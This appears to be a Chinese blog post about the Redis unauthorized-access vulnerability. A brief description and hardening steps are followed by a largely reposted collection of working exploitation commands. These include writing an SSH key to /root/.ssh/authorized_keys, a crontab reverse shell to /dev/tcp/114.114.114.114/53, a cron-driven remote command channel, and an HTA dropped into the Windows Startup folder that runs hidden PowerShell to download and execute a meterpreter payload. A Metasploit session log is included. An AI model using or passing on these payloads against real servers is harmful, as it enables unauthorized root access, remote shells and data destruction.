美文网首页我爱编程信息安全漏洞
【Kali】Redis未授权访问漏洞

【Kali】Redis未授权访问漏洞

作者: 是Jonathan | 来源:发表于2016-10-19 11:11 被阅读2221次

    ** 一、漏洞描述和危害 **
    Redis因配置不当可以未授权访问,被攻击者恶意利用。
    攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据。
    攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
    **二、已确认被成功利用的软件及系统 **
    对公网开放,且未启用认证的redis服务器。
    三、建议修复方案

    1、指定redis服务使用的网卡 (需要重启redis才能生效)
    在 redis.conf 文件中找到 “# bind 127.0.0.1” ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问Redis。

    2、设置访问密码 (需要重启redis才能生效)
    在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码,Redis客户端也需要使用此密码来访问Redis服务。

    3、修改Redis服务运行账号
    请以较低权限账号运行Redis服务,且禁用该账号的登录权限。可以限制攻击者往磁盘写入文件,但是Redis数据还是能被黑客访问到,或者被黑客恶意删除。

    4、设置防火墙策略
    如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

    2.3 漏洞分析与利用
    首先在本地生产公私钥文件:

    $ssh-keygen –t rsa
    然后将公钥写入foo.txt文件

    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    再连接Redis写入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    $ 192.168.1.11:6379> config get dir

    1. "dir"
    2. "/root/.ssh"
      $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
      $ 192.168.1.11:6379> save
      这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

    $ ssh –i id_rsa root@192.168.1.11
    即可远程利用自己的私钥登录该服务器。
    当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


    转载内容
    Redis利用姿势收集
    redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 ‘ringzero’,这样可以控制第一条记录,就能保证你的内容始终保持在最前面;

    测试环境:CentOS,RHEL

    1. 利用crontab反弹shell

    redis-cli flushall
    echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
    redis-cli config set dir /var/spool/cron/
    redis-cli config set dbfilename root
    redis-cli save

    1. 利用crontab创建文件 /tmp/888

    redis-cli flushall # 为了方便测试
    redis-cli set test 'test'
    redis-cli set my 'mymymymymymymymymymymymy'
    redis-cli set word 'wordwordwordwordwordword'
    redis-cli set hello 'ringzero'
    redis-cli set word1 'word1word1word1word1word1word1'
    echo -e "\n\n/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
    redis-cli config set dir /var/spool/cron/
    redis-cli config set dbfilename root
    redis-cli save
    redis-cli flushall
    echo -e "\n\n
    /1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
    redis-cli config set dir /var/spool/cron/
    redis-cli config set dbfilename root
    redis-cli save

    1. 二次改写crontab

    redis-cli flushall
    redis-cli set 2 ';a=redis-cli get c;'
    redis-cli set 1 'id;redis-cli set r $a;#'
    redis-cli config set dir /tmp/
    redis-cli config set dbfilename w
    redis-cli save
    redis-cli set c whoami

    1. 利用第一步的写crontab步骤,完成下面的命令

    echo " " > /tmp/zz
    cat /tmp/w >> /tmp/zz
    /bin/sh /tmp/zz
    redis-cli get r

    控制 /var/spool/cron/root 和 /tmp/zz

    最终实现,每10秒从redis的c变量读入要执行的命令,再将执行结果写入变量r

            • sleep 10;/bin/sh /tmp/zz

    windows利用方式(转自90sec)

    redis 官方未发布windows版本,但是野外存在redis/win版本。

    在测试时发现一windows版本redis,遂开始搞。

    直接上利用,基于msf:

    root@weisuo.org:~# cat hta-psh.txt
    <scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
    [url=mailto:root@weisuo.org]root@weisuo.org[/url]:~# cat hta-psh.txt |redis-cli -x -h 192.168.138.27 set a
    OK

    hta-psh.txt 对一些字符串进行变通,如不,在写入时会导致字符串丢失。

    msfconsole

    use payload/windows/meterpreter/reverse_tcp
    generate -t hta-psh -f /var/www/1.ps1
    之后起个handle,略

    修改1.ps1,文件内容大概如下:

    $command=”powershell -nop -w hidden -e xxxxxxxxxxxxxxxx”;iex $command;$command2=”taskkill /im mshta.exe”;iex $command2;

    最后写入文件,等待管理员登陆

    root@weisuo.org:~# redis-cli -h 192.168.138.27
    redis 192.168.138.27:6379> CONFIG GET dir

    1. "dir"
    2. "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
      redis 192.168.138.27:6379> config get dbfilename
    3. "dbfilename"
    4. "2.hta"
      redis 192.168.138.27:6379> save
      OK
      redis 192.168.138.27:6379>[/p][p=20, null, left]
    [*] Stopping existing job...
    [*] Reloading module...
    [*] Exploit running as background job.
     
    [*] Started reverse TCP handler on 119.91.151.22:80
    msf exploit(handler) > [*] Starting the payload handler...
    [*] Sending stage (957999 bytes) to 60.111.27.14
    [*] Meterpreter session 4 opened (119.91.151.22:80 -> 60.191.37.34:56301) at 2016-06-06 11:06:00 -0400
    [*] Session ID 4 (119.91.151.22:80 -> 60.111.27.14:56301) processing AutoRunScript 'migrate -f'
    [*] Current server process: powershell.exe (4896)
    [*] Spawning notepad.exe process to migrate to
    [+] Migrating to 3768
    [+] Successfully migrated to process
    
    

    本站内容均为原创,转载请务必保留署名与链接!
    redis利用姿势收集:https://www.webshell.cc/5154.html

    相关文章

      网友评论

        本文标题:【Kali】Redis未授权访问漏洞

        本文链接:https://www.haomeiwen.com/subject/crhxuttx.html